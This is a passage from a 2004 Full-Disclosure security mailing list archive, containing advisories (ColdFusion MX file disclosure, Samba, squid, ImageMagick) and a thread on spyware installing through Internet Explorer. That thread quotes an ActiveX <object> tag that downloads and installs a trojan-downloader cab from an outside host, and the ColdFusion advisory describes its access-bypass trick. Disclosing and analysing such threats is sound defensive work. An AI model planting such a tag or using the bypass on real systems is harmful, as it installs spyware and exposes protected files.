D+nSZP20+Ja2nfiKjnibCv5ss83yXoHkYk2Rsa8foz6Y7tHwuPiccvqnIC/c9Cvz
dbIsdxpfsi0qWPfvX/jLMpXqqnPjdIZErgxpwujas1n9016PuXA8K3MJwVjCqSKI
RgQQEQIABgUCOhpCpAAKCRDHUqoysN/3gCt7AJ9adNQMbmA1iSYcbhtgvx9ByLPI
DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE=
=LRKC
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux)
iQEVAwUBQWK1Q3ey5gA9JdPZAQG2XAf/brEQk2j1Eh3S7Q3r9jnNHM/0oJ6rfish
wS/GcWazRcIV7I8JnUqspDU9zYamS2oB8Vu977yTFc+nhTryvpWsbJDnQIjtYE52
bEMMFW6gYTzUqG2U31mWKaqtpuFJJNuA3Lu0HgsxaQJ5F7qjVcsBOwX5PqCARMFp
KIcGJi8BtLsQ36x2ZWOXKG6p8jXxx8kSVln7T6e1T0v4tVURA6BaEkE4Dh0ZoKh1
V+lYw0QipbBIByWnY/rT4T1tvZE9NUG3JSHe0olyvDekmm/WzoHLIqOe2cKfR77a
nNb+cA81JW7JJk10NWKY4hzUX9oLCN8/mAvl40nvCHX+9YHldeM3Ag==
=LbT6
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] Paranid ramblings - what's the deal? Bounded variables aren't?
From: Clairmont, Jan M (jan.m.clairmont
citigroup.com)
Date: Tue Oct 05 2004 - 10:48:59 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Every time I send out a memo to full-disclosure i get this this mail bounce message and
it gets posted on full-disclosure. Anybody have an idea what's happening.
Message Follows:
From: Mailer-Daemon
ic-s.nl
Subject: NDN: [Full-Disclosure] Shows when no limits are set or restricted shell or bat ac
Sorry. Your message could not be delivered to:
tycho,IC&S (The name was not found at the remote site. Check that the name
has been entered correctly.)
Are these guys phishing, swishing or whatever Netherlands uber alles?
Or is this just their mail-server barfing? Should probably point dig at it
and debug it but I have gotten in trouble for that type of "help" before?
Keep on computing, even though your bytes are fried.
Jan Clairmont, Paladin of the Dept. of Insecurity Department, where no redundancy is allowed or is it redundancy is required, have to look that up in the book of insecurity security chapter 4 verse 3(The bible of the Mad Arab Adulah Medula, taken from
the NecronoMicron or the latest M$ directorate).
Unix Security Support/Consultant I think?
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
SV: [Full-Disclosure] Spyware installs ... XP SP2 box
From: Peter Kruse (kruse
krusesecurity.dk)
Date: Tue Oct 05 2004 - 11:08:21 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hi,
> The installed code is definitely:
> <object id="DDownload_UL1"
classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA"
codebase="http://www.addictivetechnologies.net/DM0/cab/ATPartners.cab"
> HEIGHT=0 WIDTH=0></object>
Correct and there's nothing new here. If executed the code will run a
trojan-downloader. Actually, it's more a variant of FavoriteMan. A known
adware/spyware.
ATPartners.dll is programmed in Visual C++ and packed with UPX. ATPartners
will copy itself to the windows systemfolder and register IE Browser Helper
Objects. The code will present several ads at random time and potential sent
private information to a remote host. The data collected from the system is
stored in im64.dll. However, the code can update itself by downloading
components from www.f1organizer.com.
A search for ATPartners.dll should bring up several hits.
Regards
Peter Kruse
http://www.csis.dk
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] iDEFENSE Security Advisory 10.05.04a: ColdFusion MX 6.1 on IIS File Contents Disclosure
idlabs-advisories
idefense.com
Date: Tue Oct 05 2004 - 11:09:39 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
ColdFusion MX 6.1 on IIS File Contents Disclosure
iDEFENSE Security Advisory 10.05.04a:
www.idefense.com/application/poi/display?id=148&type=vulnerabilities
October 5, 2004
I. BACKGROUND
ColdFusion is a programming language based on standard HTML that is used
to write dynamic webpages. When a page in a ColdFusion application is
requested by a browser, it is automatically pre-processed by the
ColdFusion Application Server. More information is available at:
http://www.macromedia.com/software/coldfusion/
II. DESCRIPTION
Remote exploitation of and input validation error in ColdFusion MX 6.1
on IIS could allow the disclosure of file contents.
By supplying a filename of a file not 'associated' with the Coldfusion
plugin and appending ;.cfm or any other extension that is associated
with ColdFusion, it may be possible to view to contents of the files
that otherwise would be protected by IIS's access restrictions.
III. ANALYSIS
This vulnerability may expose sensitive files stored under the webroot,
bypassing access restrictions set in the IIS management system. In order
for the file to be read, it must be accessible to the user Coldfusion
is executing as. This vulnerability still requires knowledge of the
existence of a file of interest. It does not expose the directory
listing.
IV. DETECTION
iDEFENSE has confirmed ColdFusion MX 6.1 on IIS is vulnerable.
V. WORKAROUND
Change the mapping rules for ColdFusion handled files to refer to
specific files instead of the default *.cfm, *.jsp, etc. It is also
possible to mitigate against exploitation by not storing sensitive
information within the webroot of any server. Storing the information
outside of the webroot may require changes to applications.
VI. VENDOR RESPONSE
MPSB04-09 - Cumulative Security Patch available for ColdFusion MX:
http://www.macromedia.com/devnet/security/security_zone/mpsb04-09.html
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2004-0928 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
07/08/2004 Initial vendor notification
07/08/2004 iDEFENSE clients notified
07/09/2004 Initial vendor response
10/05/2004 Public disclosure
IX. CREDIT
The discoverer of this vulnerability wishes to remain anonymous.
Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp
X. LEGAL NOTICES
Copyright (c) 2004 iDEFENSE, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice
idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
RE: [Full-Disclosure] Spyware installs ... XP SP2 box
From: Castigliola, Angelo (ACastigliola
unumprovident.com)
Date: Tue Oct 05 2004 - 11:11:24 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Thank you for the test Raize. I appreciate your time.
>One must assume that you are installing these "theme packs" via some
BHO (Browser Helper Object) that you
>installed previously or put the site on the "Always trust content from
this provider". Perhaps someone
>else can explain where I am missing the exploit, because a quick glance
over seems to indicate there is
>none for XP SP2. (I did not test this on SP1)
I think you are right. It seems the only person that was not prompted
for the install that was not running SP2 was the original author of this
thread who said that it was a previously visited site.
As far as users running SP1 there is no security warning that says an
executable is about to be installed. There is no Microsoft Update that
will prevent this from loading. Like most large organizations just
jumping to SP2 is not an option. It needs go though rigorous testing to
make sure it complies with all of our internal software.
Angelo Castigliola III
Operations Technical Analyst I
UnumProvident IT Services
207.575.3820
-----Original Message-----
From: full-disclosure-admin
lists.netsys.com
[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of raize
Sent: Tuesday, October 05, 2004 9:29 AM
To: full-disclosure
lists.netsys.com
Subject: Re: [Full-Disclosure] Spyware installs ... XP SP2 box
The installed code is definitely:
<object id="DDownload_UL1"
classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA"
codebase="http://www.addictivetechnologies.net/DM0/cab/ATPartners.cab"
HEIGHT=0 WIDTH=0></object>
However, there is no exploit here. I loaded this with a default honeypot
image of XPSP2 with IE as an Admin and nothing else installed other than
the drop down that asked me if I really wanted to trust this site for
installing an executable.
One must assume that you are installing these "theme packs" via some BHO
(Browser Helper Object) that you installed previously or put the site on
the "Always trust content from this provider". Perhaps someone else can
explain where I am missing the exploit, because a quick glance over
seems to indicate there is none for XP SP2. (I did not test this on SP1)
Spybot and Ad-aware do not catch and kill WinRebates and WinAd
spy/adware properly, but I have a batch command that will do it for you.
Included is a .zip of each IP contacted along with full URL request and
output. It also contains the contents of this email and the batch file
with these commands: (You'll want to rename the .txt to .bat)
--------------------------------------------
cd "C:\Program Files\Winad Client"
taskkill /T /F /IM WinClt.exe
taskkill /T /F /IM WinAd.exe
erase WinClt.exe
erase WinAd.exe
cd ..
cd Web_Rebates
taskkill /T /F /IM WebRebates0.exe
taskkill /T /F /IM WebRebates1.exe
erase WebRebates0.exe
erase WebRebates1.exe
cd ..
rd /Q /S "Winad Client"
rd /Q /S "Web_Rebates"
cd "C:\Windows\system32"
taskkill /T /F /IM fjdria.exe
taskkill /T /F /IM ezSP_Px.exe
erase fjdria.exe
erase ezSP_Px.exe
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1950 - 4 msgs
chris_tang
so-net.com.hk
Date: Tue Oct 05 2004 - 13:16:28 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hi,
Please be advised that my email has been changed to:
chriskftang
yahoo.com
Please send all "full-disclosure" newsletters or related messages to
the above email address.
Thanx
Best Rgds,
Chris Tang
======================================================================
On Tue, 05 Oct 2004 12:00 , full-disclosure-request
lists.netsys.com sent:
>Send Full-Disclosure mailing list submissions to
> full-disclosure
lists.netsys.com
>
>To subscribe or unsubscribe via the World Wide Web, visit
> http://lists.netsys.com/mailman/listinfo/full-disclosure
>or, via email, send a message with subject or body 'help' to
> full-disclosure-request
lists.netsys.com
>
>You can reach the person managing the list at
> full-disclosure-admin
lists.netsys.com
>
>When replying, please edit your Subject line so it is more specific
>than "Re: Contents of Full-Disclosure digest..."
>
>
>Today's Topics:
>
> 1. [TURBOLINUX SECURITY INFO] 05/Oct/2004 (Turbolinux)
> 2. RE: Spyware installs with no interaction in IE on fully patched XP SP2 box (Castigliola, Angelo)
> 3. SUSE Security Announcement: samba (SUSE-SA:2004:035) (Thomas Biege)
> 4. Paranid ramblings - what's the deal? Bounded variables aren't? (Clairmont, Jan M)
>
>--__--__--
>
>Message: 1
>Date: Tue, 5 Oct 2004 22:30:17 +0900
>From: Turbolinux security-announce
turbolinux.co.jp>
>Reply-To: server-users-e
turbolinux.co.jp
>To: security-announce
turbolinux.co.jp
>Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 05/Oct/2004
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>This is an announcement only email list for the x86 architecture.
>============================================================
>Turbolinux Security Announcement 05/Oct/2004
>============================================================
>
>The following page contains the security information of Turbolinux Inc.
>
> - Turbolinux Security Center
> http://www.turbolinux.com/security/
>
> (1) squid -> DoS vulnerability in squid
> (2) ImageMagick -> Multiple buffer overflow vulnerabilities in ImageMagick
>
>===========================================================
>* squid -> DoS vulnerability in squid
>===========================================================
>
> More information :
> Squid is a high-performance proxy caching server for web clients, supporting
> FTP, gopher, and HTTP data objects. Unlike traditional caching software,
> Squid handles all requests in a single, non-blocking, I/O-driven process.
>
> A vulnerability in the NTLM helpers in squid.
>
> Impact :
> The vulnerabilities allow remote attackers to cause a denial of service of sauid server services.
>
> Affected Products :
> - Turbolinux Appliance Server 1.0 Hosting Edition
> - Turbolinux Appliance Server 1.0 Workgroup Edition
> - Turbolinux 8 Server
> - Turbolinux 8 Workstation
> - Turbolinux 7 Server
> - Turbolinux 7 Workstation
>
> Solution :
> Please use the turbopkg (zabom) tool to apply the update.
> ---------------------------------------------
> [Turbolinux 10 Desktop, Turbolinux 10 F...]
> # zabom -u squid
>
> [other]
> # turbopkg
> or
> # zabom update squid
> ---------------------------------------------
>
>
>
>
> Source Packages
> Size : MD5
>
> squid-2.5.STABLE6-11.src.rpm
> 1538211 ff3e34c4b8c71d250f2781179ceec73a
>
> Binary Packages
> Size : MD5
>
> squid-2.5.STABLE6-11.i586.rpm
> 825195 85c3b583674e0ac0695c4cbf0404e586
>
>
>
> Source Packages
> Size : MD5
>
> squid-2.5.STABLE6-11.src.rpm
> 1538211 6b6d400ee15ee97ac6f7e98fbea26e50
>
> Binary Packages
> Size : MD5
>
> squid-2.5.STABLE6-11.i586.rpm
> 825663 bed921f91e657975cc6c72d2ea8f29d4
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
> 1538211 b28eeeb88347c668fdb9938c4c1cd438
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
> 825370 335f0fe78cfb204c86ff5b05d12bfd34
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
> 1538211 181d72c2668f72b6e50190f784421bed
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
> 825810 5e52e49f4be6e555f57b38ffb241c455
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
> 1538211 45fd66fc13713b40beb996f664460f0e
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
> 829880 e2a6cf6b67a7c74249b23bce5a4adedf
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
> 1538211 191eab57b2adcecf91ceb4b34c94de09
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
> 830034 d6142042afcd410376e5a875c5436bc9
>
>
> Notice :
> After performing the update, it is necessary to restart the squid daemon.
> To do this, run the following command as user root.
> ---------------------------------------------
> # /etc/init.d/squid restart
> or
> # /etc/rc.d/init.d/squid restart
> ---------------------------------------------
>
> References:
>
> CVE
> [CAN-2004-0832]
> http://cve.mitre.org/cgi-bin/cvename.cgi\?name=CAN-2004-0832
>
>
>===========================================================
>* ImageMagick -> Multiple buffer overflow vulnerabilities in ImageMagick
>===========================================================
>
> More information :
> ImageMagick(TM) is an image display and manipulation tool for the X
> Window System. ImageMagick can read and write JPEG, TIFF, PNM, GIF and
> Photo CD image file formats.
>
> Multiple buffer overflow vulnerabilities in ImageMagick allowing remote
> attackers to execute arbitrary code via a malformed image or video file.
>
> Impact :
> These vulnerabilities may allow remote attackers to execute arbitrary
> code via a malformed image or video file in AVI or BMP formats.
>
> Affected Products :
> - Turbolinux 10 F...
> - Turbolinux 10 Desktop
> - Turbolinux 8 Server
> - Turbolinux 8 Workstation
> - Turbolinux 7 Server
> - Turbolinux 7 Workstation
>
> Solution :
> Please use the turbopkg (zabom) tool to apply the update.
> ---------------------------------------------
> [Turbolinux 10 Desktop, Turbolinux 10 F...]
> # zabom -u ImageMagick ImageMagick-devel
>
> [other]
> # turbopkg
> or
> # zabom update ImageMagick ImageMagick-devel
> ---------------------------------------------
>
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/ImageMagick-5.5.7-5.src.rpm
> 5274681 6a9d3c1b208049830e7086b9aae75fe7
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/ImageMagick-5.5.7-5.i586.rpm
> 2397224 dea16cf3ee2ce38381e3d2679ad8fa3c
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/ImageMagick-devel-5.5.7-5.i586.rpm
> 555804 840cc5d2ec79afd5cfdbf4223f625195
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/ImageMagick-5.4.7-1.src.rpm
> 3614849 bb43185f084dd6e32f10694f35fb513d
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-5.4.7-2.i586.rpm
> 3207676 6839799de74d7439334a875a097b6049
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-c++-5.4.7-2.i586.rpm
> 1392173 d0af80e68a129fd41d301b7ec3469ff5
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-devel-5.4.7-2.i586.rpm
> 855821 be80bb2b23c8b87ab831bb99201b85c8
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-perl-5.4.7-2.i586.rpm
> 60163 1281a234915115227a2bb2fa5071d6c7
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/ImageMagick-5.4.3-3.src.rpm
> 3665019 ae1a64cf87ea0e6598ca147abd3349e4
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/ImageMagick-5.4.3-3.i586.rpm
> 3668565 d065de9b0d5a58b6393cc4805e0eb405
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/ImageMagick-devel-5.4.3-
3.i586.rpm
> 971835 df0dda9a20ad43b2a8b3ee7a5313f6a8
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/ImageMagick-5.3.3-3.src.rpm
> 3656626 6197f1b2ff6d1a831d532a3fce210f94
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/ImageMagick-5.3.3-3.i586.rpm
> 3038600 0276001bdf52d75ab65dcac7ff4ebb49
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/ImageMagick-devel-5.3.3-3.i586.rpm
> 1267440 9e21404db4bf10a005a89f974fd8558e
>
>
>
> Source Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/ImageMagick-5.3.3-3.src.rpm
> 3656626 084f8247af6313928f5dcdae20ed9713
>
> Binary Packages
> Size : MD5
>
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/ImageMagick-5.3.3-3.i586.rpm
> 3039080 e3ca8b73f9a5f6cbaf8a136d121fdebf
> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/ImageMagick-devel-5.3.3-
3.i586.rpm
> 1267050 a3e0ef2ac5bd589f453f5ab529981fab
>
>
> References:
>
> CVE
> [CAN-2004-0827]
> http://cve.mitre.org/cgi-bin/cvename.cgi\?name=CAN-2004-0827
>
>
> * You may need to update the turbopkg tool before applying the update.
>Please refer to the following URL for detailed information.
>
> http://www.turbolinux.com/download/zabom.html
> http://www.turbolinux.com/download/zabomupdate.html
>
>Package Update Path
>http://www.turbolinux.com/update
>
>============================================================
> * To obtain the public key
>
>Here is the public key
>
> http://www.turbolinux.com/security/
>
> * To unsubscribe from the list
>
>If you ever want to remove yourself from this mailing list,
> you can send a message to server-users-e-ctl
turbolinux.co.jp> with
>the word `unsubscribe' in the body (don't include the quotes).
>
>unsubscribe
>
> * To change your email address
>
>If you ever want to chage email address in this mailing list,
> you can send a message to server-users-e-ctl
turbolinux.co.jp> with
>the following command in the message body:
>
> chaddr 'old address' 'new address'
>
>If you have any questions or problems, please contact
>supp_info
turbolinux.co.jp>
>
>Thank you!
>
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.2.6 (GNU/Linux)
>
>iD8DBQFBYqHtK0LzjOqIJMwRAgNPAJ9TkkL73895x0W7UXTix5/7Ai6vRQCgr1s5
>D6e2lOCXUmCWuYNVxpgAvWY=
>=qIgj
>-----END PGP SIGNATURE-----
>
>
>
>
>
>--__--__--
>
>Message: 2
>Subject: RE: [Full-Disclosure] Spyware installs with no interaction in IE on fully patched XP SP2 box
>Date: Tue, 5 Oct 2004 10:50:02 -0400
>From: "Castigliola, Angelo" ACastigliola
unumprovident.com>
>To: "Alla Bezroutchko" alla
scanit.be>, full-disclosure
lists.netsys.com>
>
>I am sure there is a configuration setting or software (perhaps the
>software made the configuration change) that is preventing this from
>installing on your computer.
>
>I tested with a default XP SP1 install with all the Microsoft Updates
>that have been applied to stop this type of IE hack. The spyware still
>installs itself on the machine.
>
>XP SP1 with the following patches:
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;814078
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;816093
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;823182
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;825119
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;832894
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;835732
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;840374
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;840315
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;839645
>http://support.microsoft.com/default.aspx\?scid=kb;en-us;867801
>
>These are _ALL_ the Microsoft Updates that specifically patch up IE
>holes.
>
>My question to the forum is: If this is not a 0-day IE exploit that
>allows software to install on a computer with no user interaction then
>what Microsoft Update applies to this exploit?
>
>Again I fear there is no Microsoft Update available that will fix this
>hole.
>
>Can someone confirm that a Default install of XP SP2 with all patches
>will not stop spyware from themexp.org from installing?
>
>Angelo Castigliola III
>Operations Technical Analyst I
>UnumProvident IT Services
>207.575.3820
>
>-----Original Message-----
>From: full-disclosure-admin
lists.netsys.com
>[full-disclosure-admin
lists.netsys.com','','','')">full-disclosure-admin
lists.netsys.com] On Behalf Of Alla
>Bezroutchko
>Sent: Tuesday, October 05, 2004 7:01 AM
>To: full-disclosure
lists.netsys.com
>Subject: Re: [Full-Disclosure] Spyware installs with no interaction in
>IE on fully patched XP SP2 box
>
>
>Carr, Robert wrote:
>> Interesting...
>>
>> I just went there, and he's right. Atpartners.cab installed without
>> permission. My McAfee picked it right up as Atpartners.dll, downloaded
>
>> to Temp Internet files. Spyware detected as NetPals. On the other
>> hand, I'm admin of my machine, I wonder if a "user" would get an error
>
>> message about not having the correct rights...
>
>I have tested it on Windows XP SP2 and on fully patched Windows 2000. In
>
>both cases _nothing_ gets run or installed. Both systems are more or
>less standard installations without any special IE hardening (except
>patches).
>
>When I surf to the site with Windows XP "Installing components...
>ATpartners.cab" briefly appears in the status bar and then the site gets
>
>displayed. Under the normal browser bars there is a message saying "The
>site might require the following ActiveX control: FREE on-line games and
>
>special offers from... Click here to install...". I don't click on it.
>Searching the disk for atpartnets.cab or atpartners.dll finds nothing.
>The CLSID of the ActiveX control only appears in the registry in
>"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\"
>.
>
>With Windows 2000 I also get "Installing components... ATpartners.cab"
>in the status bar and then the dialog box asking if I want to install
>"Free online games from ATgames.com". This is a usual dialog box you get
>
>when a page attempts to install an ActiveX control. If I click "No",
>nothing gets installed, no atpartners files on the file system, no
>traces of the CLSID in the registry.
>
>I suppose the cab file gets downloaded so that Windows can read and
>display the signature of the file. It does not get run or installed
>unless explicitly permitted by user.
>
>So, as far as I can see this is no 0-day.
>
>Alla.
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>--__--__--
>
>Message: 3
>Date: Tue, 05 Oct 2004 16:57:52 +0200
>From: Thomas Biege thomas
suse.de>
>To: full-disclosure
lists.netsys.com
>Subject: [Full-Disclosure] SUSE Security Announcement: samba (SUSE-SA:2004:035)
>
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>______________________________________________________________________________
>
> SUSE Security Announcement
>
> Package: samba
> Announcement-ID: SUSE-SA:2004:035
> Date: Tuesday, Oct 5th 2004 16:53:01 MEST
> Affected products: 8.1, 8.2, 9.0
> SUSE Linux Enterprise Server 8
> SUSE Linux Desktop 1.0
> Vulnerability Type: remote file disclosure
> Severity (1-10): 6
> SUSE default package: Yes
> Cross References: CAN-2004-0815
>
> Content of this advisory:
> 1) security vulnerability resolved:
> - Samba file access problem
> problem description
> 2) solution/workaround
> 3) special instructions and notes
> 4) package location and checksums
> 5) pending vulnerabilities, solutions, workarounds:
> - opera
> - kernel
> - mozilla
> 6) standard appendix (further information)
>
>______________________________________________________________________________
>
>1) problem description, brief discussion
>
> The Samba server, which allows to share files and resources via
> the SMB/CIFS protocol, contains a bug in the sanitation code of path
> names which allows remote attackers to access files outside of the
> defined share. In order to access these files, they must be readable
> by the account used for the SMB session.
> CAN-2004-0815 has been assigned to this issue.
>
>2) solution/workaround
>
> As a temporary workaround you can set the
> wide links = no
> option in smb.conf and restart the samba server. However an update
> is recommended nevertheless.
>
>3) special instructions and notes
>
> After successfully updating the samba package, you need to issue the
> following command as root:
>
> rcsmb restart
>
>4) package location and checksums
>
> Please download the update package for your distribution and verify its
> integrity by the methods listed in section 3) of this announcement.
> Then, install the package using the command "rpm -Fhv file.rpm" to apply
> the update.
> Our maintenance customers are being notified individually. The packages
> are being offered to install from the maintenance web.
>
> SUSE Linux 9.0:
> ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/samba-2.2.8a-226.i586.rpm
> eb71869029b35d2a97d55e26514524db
> patch rpm(s):
> ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/samba-2.2.8a-226.i586.patch.rpm
> 48bb3e455079fcfdf4ad2baa28f28557
> source rpm(s):
> ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/samba-2.2.8a-226.src.rpm
> d162ea5a39b14ee16ae1c6d5df9211bb
>
> SUSE Linux 8.2:
> ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.8a-225.i586.rpm
> 79b0514a827bdd782e6d3f62bb92fb85
> patch rpm(s):
> ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.8a-225.i586.patch.rpm
> a50dd448212245d51e9ac59ae50514e8
> source rpm(s):
> ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/samba-2.2.8a-225.src.rpm
> 25d488678b607b3c67612ee065abd77a
>
> SUSE Linux 8.1:
> ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.8a-224.i586.rpm
> 93d0fb2502f30593548dbe2f41ec8948
> patch rpm(s):
> ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.8a-224.i586.patch.rpm
> da5b107fb71c5daf5972b6e0aaca4f5c
> source rpm(s):
> ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/samba-2.2.8a-224.src.rpm
> e0b9f9af6c5348cb9840b5d98a1c59dc
>
>
> x86-64 Platform:
> SUSE Linux 9.0:
> ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/samba-2.2.8a-226.x86_64.rpm
> 0f1c94aa23653b0cf9b318646d9153af
> patch rpm(s):
> ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/samba-2.2.8a-226.x86_64.patch.rpm
> 569974c359702c263b0968ce8fb9810f
> source rpm(s):
> ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/samba-2.2.8a-226.src.rpm
> 75c1a01d03af42835809691840eaa331
>
>______________________________________________________________________________
>
>5) Pending vulnerabilities in SUSE Distributions and Workarounds:
>
> - opera
> New opera packages are available on our ftp servers, fixing
> CAN-2004-0691, CAN-2004-0597, CAN-2004-0598, CAN-2004-0599 and
> CAN-2004-0746.
>
> - kernel
> Update kernels for the kNFSd problem for SLES 8 and SL 8.1 have been
> released.
>
> - mozilla
> We are in the process of releasing updates for mozilla (and related
> browsers), fixing various issues: CAN-2004-0597, CAN-2004-0718,
> CAN-2004-0722, CAN-2004-0757, CAN-2004-0758, CAN-2004-0759,
> CAN-2004-0760, CAN-2004-0761, CAN-2004-0762, CAN-2004-0763,
> CAN-2004-0764 and CAN-2004-0765.
> We will give you concrete details in a separate mozilla advisory when
> the updates are available.
>
>
>______________________________________________________________________________
>
>6) standard appendix: authenticity verification, additional information
>
> - Package authenticity verification:
>
> SUSE update packages are available on many mirror ftp servers all over
> the world. While this service is being considered valuable and important
> to the free and open source software community, many users wish to be
